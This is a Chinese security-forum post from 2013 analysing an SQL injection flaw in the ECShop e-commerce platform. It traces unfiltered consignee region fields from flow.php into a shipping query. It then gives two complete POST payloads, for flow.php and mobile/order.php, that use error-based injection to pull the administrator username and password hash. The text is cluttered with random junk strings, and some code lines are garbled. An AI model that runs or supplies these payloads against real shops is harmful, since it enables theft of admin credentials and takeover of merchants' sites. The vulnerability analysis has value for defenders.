找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2087|回复: 0
打印 上一主题 下一主题

ecshop全版本注入分析

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-13 09:48:03 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。$ W# x2 N  `1 h% h

8 @3 `  r1 v9 M8 W& r    漏洞关键文件:
8 V/ H0 w7 n* n3 r% D1 K& _7 p
! M$ _7 {- A& C3 ]/ l    /includes/lib_order.php9 }0 M4 U% F, W8 }
+ e8 n/ @, z, h/ I6 T* `
    关键函数:' J  X& Z' b2 Z; X6 e

; G  j; z5 }6 E3 ^
+ m! c: y- A9 B2 t
" e* c% {) F0 O- t- k! u) A01     function available_shipping_list($region_id_list) 3 q6 p' O. k' V( M

, K( |4 f# @& I, [5 G02 { % N2 |8 M7 Z* q) V, a5 g

' @9 ?3 o, Q6 [. g  x03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
" F$ E2 E4 g* o/ J  {3 a4 {- q# S( ]9 z0 P
04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
0 T5 M3 N" Y5 ~0 s& c
  C0 j! g6 `( i% V* f2 F' t7 U05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
" X1 V1 c/ _# e) n# G# J' ]) g6 X7 Y) [7 S( O/ |
06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . . R; v. f/ N8 F8 m$ y8 `

; `; Y3 b1 i: b3 Z07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.
0 e* s8 s1 v+ [: f1 u2 J
7 K+ k: h( m% G2 [" _1 c08             'WHERE r.region_id ' . db_create_in($region_id_list) . 9 V9 q# n: A. n: R. v4 c7 d2 o; N

  D+ X& G, B: Q- }09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order'; 4 [& w* ?$ A8 x# L
1 p& I" S2 v( X
10   
) W" r( R0 k: H0 _5 s+ z& w' o2 G" p9 r4 P. S
11     return $GLOBALS['db']->getAll($sql); 8 _! }/ |5 R* P; w- F

* z# h' P: u* S% C$ L2 V& a2 V12 }
. x: Z- C0 Y+ \0 ?6 Z) b$ a- L4 ^; B3 w7 w* S' W% t
显然对传入的参数没有任何过滤就带入了查询语句。$ @9 ~) P5 w' g, v
& b, N8 u. t' E# Y  o$ S9 u
下面我们追踪这个函数在flow.php中:  o' T, I* [  h0 N0 d
第531行:   
: K5 W# E" H' X( Y% Y2 M: g
6 X" o7 ]5 C7 d3 g( c1 Z6 g1 $shipping_list     = available_shipping_list($region);
2 b0 @6 l& B: c! L6 N* J: h# A
0 U% S1 H- \0 W0 f3 R7 R% P 2 O, l( }. @$ J) `5 J  |9 }

+ _% m% F& M( e# P1 h1 f
- W! m- W6 q; l! l3 [, o" A
8 E9 V+ X/ s5 G" \+ G再对传入变量进行追踪:4 Q# n: Z7 n- r1 Y7 \3 F' A3 l

) O( W& q, N6 A5 L" b第530行:    6 _% ?7 T' G/ |( _( j
0 W8 _) W: G- b" c- z5 Z/ a$ l# @2 M
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); ( n8 Q; h" D  ?8 v
- a6 i. A6 O4 o, s; m! r* V- T. e
6 t( X7 }% d! w- u

8 @5 w" d* f, Q
, q% q$ H4 S3 a$ D; F4 v$ R
: W2 H. C3 d; \+ T1 a% j第473行:          J5 a8 V2 z5 f+ p! D$ \& k
  F2 [* w' a5 O- ~. ]7 y
1 $consignee = get_consignee($_SESSION['user_id']);
8 ?4 c( c0 z0 K# X- n+ O% h# e; ^: }3 N
到了一个关键函数:, O- b; T" z' `- e- C1 v5 u" f8 t5 j
) x! E  u* f( h+ M
/includes/lib_order.php
0 U1 b! V% \+ j% J+ K3 Z, @$ F" s1 D$ P$ S6 a; L
. B% @: d$ G& }7 o; X7 U( r) q

7 r8 ]. m: K# C' X+ T) P! M3 }* s
+ K$ D6 @/ ^. P6 }3 f2 A, Y! S7 @0 |; j; b2 O7 |7 P1 T; i0 f+ r
01 function get_consignee($user_id) 6 n0 r! h9 L2 o( ]( c& Y

3 Q; S- o. }) m9 |02 {
* C" ~3 g. e0 a! e% Z# m" {' u6 v
3 B0 I8 }! C7 c! Z! R03     if (isset($_SESSION['flow_consignee'])) 1 j+ ?9 z, `* R' b- n

, ?, U: |) c+ V( C5 l6 P( w04     { 0 `+ a0 D  s9 S2 Z5 w7 V

( t1 R+ j& x9 {! @+ U05         /* 如果存在session,则直接返回session中的收货人信息 */
/ R8 \1 J  G! ~) A  d; z: }& C- S0 W  }. U; k, Y8 G
06   2 D) s# J) ~# J
4 p1 o! Y& H$ w; C, v1 W1 N; n2 L) ~
07         return $_SESSION['flow_consignee']; & X) J) Y8 X. \  h- k% L* x; R) K

+ F' g, R; j) ]9 D7 ^  @. F08     }
+ l2 c4 B% Q, c2 k3 k
6 f6 B" `6 N, w5 P7 y09     else - V5 T$ R' O% H  K  Y. \

3 Q8 \, I, s( k10     { " }7 }9 {6 t9 {4 J
0 p" }* ~* S- F* n1 e. r
11         /* 如果不存在,则取得用户的默认收货人信息 */ & J# Q1 I* {% Y

5 Z4 H. U+ j7 c( u2 C$ x' j+ z12         $arr = array();
) I. A4 t: b" \9 g" L" ^, e8 E$ S) ?/ P) c2 f) g# L
13   
& i- p; p+ d8 r0 r% m* Z% m
6 T* ^" @9 q$ z8 J" ]14         if ($user_id > 0)
9 n/ o, [" y4 y+ o8 ?/ ^+ }; }3 K% A. T+ o# {( y7 }8 N
15         { 4 I  ?" p4 @' P: \) y

6 r& Q9 p$ P8 \6 H" f1 |1 R16             /* 取默认地址 */
% l- ^( W. t4 O9 F/ D: K, Z" l5 a5 Z; x+ p4 M5 o2 m
17             $sql = "SELECT ua.*".
: X8 M" {. Z' a! s0 k% r4 \9 P
; q3 \% O. ~+ G0 W9 k- t6 S" v18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
( h# k: [. ], t4 k. l+ J2 z' m+ \7 v: f: C" t. P. Q' ~2 ^% B- D
19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
) k9 ?7 g8 e  L! H3 r" a1 l& }" c( R: H- h
20   
7 P5 E( }; ]3 w. e& K( ?
$ C" _) A0 W  J& k3 [! d21             $arr = $GLOBALS['db']->getRow($sql);
2 @7 M/ p3 q% M' u5 X! }0 V( U0 s6 W2 V/ a( c5 s5 ]+ j
22         }
0 O1 S' Q2 s3 e5 S; M) f2 q
/ G+ X0 S, R. R" m# G* ?23   
& y1 w* _' N4 Z: E* _8 @4 J
7 \$ p  ~. }- X+ l" ?24         return $arr;   Q) W0 ^- H& A& {, e
$ ]0 W9 l# e4 m" q6 s! ~8 n
25     }
( Q' c! s: j& }- B1 G( ]: i5 p+ A) m% [7 r$ H0 {: ?
26 }
  K6 B  ^8 \3 D9 V
# W% k1 r0 V2 w6 W  m+ K显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?
+ t( a5 f$ l  N) s+ N7 R( d' z( c1 {
" v; ~( }0 s: u' b( X 3 F, R* e! s* R+ f7 i

1 C- L7 O' g; I& E, j7 |1 V3 v: P关键点:$ o2 c% Z8 \- ]

$ o- c6 \6 C1 \9 z第400行:    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
, P9 A; a( d, x9 P% d1 m/ N. v, |- L' V& G) Y) v3 ^
这里对传入参数反转义存入$_SESSION中。
* o$ a3 j' [* P- Y  l$ a6 U# y) M3 c2 |. x( W7 O$ V
" a6 ^; x+ j  b- B1 h# J
4 c2 e6 A$ I3 Z. H3 n  V
然后看下:
  P( N& b1 s8 E
5 V1 d1 l  i( P7 C% D: X) s " |) x4 M; Y8 {/ B: E+ J" X. U

' w% W7 h: {. v  j   
6 g, X( l3 e$ H5 n5 T! m" j: G
0 |1 P# O% g. m! b# W. ?/ E01 $consignee = array( 2 \" D' Z/ u: r# s* v$ K) L% {

. H9 q3 C5 b+ T' x& J02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),
% @* W1 X/ B" s/ c+ \) j
: ~, l0 e: M# E& h) r  ]: i. j* u4 x03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),
+ V" G' C* k8 k; f4 k* ]2 {
+ S6 j0 h% T+ H( n, g7 r7 {( A04         'country'       => empty($_POST['country'])    ? '' _POST['country'],   v6 Z% B5 y2 G1 \
' b$ d2 A. {, ]! V# b$ D! T
05         'province'      => empty($_POST['province'])   ? '' _POST['province'], ! ~2 ?5 n8 K1 D# x; A( C

# J% X/ A8 U8 f$ P9 g06         'city'          => empty($_POST['city'])       ? '' _POST['city'], 2 R# k5 M* ?$ K; L1 ]4 A: E

- k# {0 ]' f/ I' e# N6 ]' c' r07         'district'      => empty($_POST['district'])   ? '' _POST['district'], - z5 I! N& ]' a+ t0 {- H

. j. h4 G. v" ^, G  _+ f08         'email'         => empty($_POST['email'])      ? '' _POST['email'],
3 I- S) F( s, @( t9 V5 B8 K5 ~0 P
) s& g2 d. Z  f% P* v4 ~. _( v09         'address'       => empty($_POST['address'])    ? '' _POST['address'],
7 U6 [* a, W" k2 @
/ R8 M$ m* f' q. x/ ~0 {  S0 s10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),
5 M! H  y- K4 T8 O3 ]
+ p2 I8 E# }+ C6 j0 }; _1 \. A11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])), 0 C# k! @0 W3 [$ ]* x

3 {4 `( b; L' ^0 r* d6 S  F3 t12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),
" F+ |- }) k% j* h, U  s4 _5 u0 E, f& L9 r
13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'], # f. a" {5 [1 Y3 t

7 |0 b+ X, Y3 F4 B! p& n7 w14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'], 7 g4 D3 B) \7 E7 ~, ^; \
* Y/ C6 |0 s( P3 N
15     );
/ V6 v% L: s8 B* M8 P) R! S
% B! _3 j0 s: d, J好了注入就这样出现了。, c7 m  p; Y3 U5 }: `0 J

" Y" S" T7 U% h8 S# m' y2 C  p==================
- r+ W. G+ f; ]8 T1 h1 e) J
5 U- o+ P1 x/ R" g) D注入测试:  X! b5 v" Y0 l2 B! t

+ m9 ]5 m6 N7 O- X' [6 O; ^' m$ I环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16); V3 p# B7 D2 M8 h
4 u/ {  _) \; Q! D' Q) s
测试程序:ECShop_V2.7.3_UTF8_release1106
$ N  n2 s% J: a' F
7 }- \6 P' F* i3 k% F ' @$ P- y" T4 B+ p$ ^4 |; t
0 P& ?: v2 ^; h% y
1.首先需要点击一个商品加入购物车
( U  z) @* V; s, L0 H9 |. [3 v4 K8 _! w
2.注册一个会员帐号
$ T+ w9 ?( r, F
2 o! A: M4 ]$ D0 J/ v/ L: J3.post提交数据5 j( z0 u/ A- m3 B& s
7 D- F! m; s4 x. J5 T( {0 O: i0 S
9 E  q) @0 \1 n  l' Z' L6 p

! f9 E2 F1 S* h7 `/ A1 http://127.0.0.1/ecshop/flow.php
4 `! x( a& P5 ]8 r! v4 N& c1 Q- U9 ^" d+ B7 @
2   
' V9 H" |( O, d% G8 ]9 N$ z9 L
5 l7 T# a' U* Q. T0 C( R- L3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
! p& L6 ^! c% ]8 J举一反三,我们根据这个漏洞我们可以继续深入挖掘:5 a* {) W6 K5 t. q0 A: F5 R4 Q

. f% ~8 ], v6 i, C/ W; `  S我们搜寻关键函数function available_shipping_list()
8 e7 J7 w( a( V4 N' s$ }, G$ r% u! J
在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同
1 J) ]) ^) }5 D' T8 B8 l7 R# X7 K" V& e- A
利用exp:
$ u, C1 H5 b! ?
4 }0 `& L; ~+ A/ g1.点击一个商品,点击购买商标
3 D' H2 u" }0 J% a5 ~- M8 w7 V: Y6 B' S: g2 _% k# P+ f' A
2.登录会员帐号
7 F: r+ D3 q0 J  Y9 K' J
7 }. I* o) m; I6 X9 m3.post提交:6 f. s$ X5 p3 p
# k0 a1 U) [  G) |1 u% K6 G
http://127.0.0.1/ecshop/mobile/order.php
3 N: D4 R. |8 M7 |5 g0 p
8 g( x/ I6 l7 S3 ?: z/ Q ( }, x4 {5 E" }$ M# e# P
1 K9 C- b# @1 q) Y# i. w9 T
country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=" l8 ?8 q8 {9 y+ t9 _
; ?  {7 a# S- U& M9 M
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表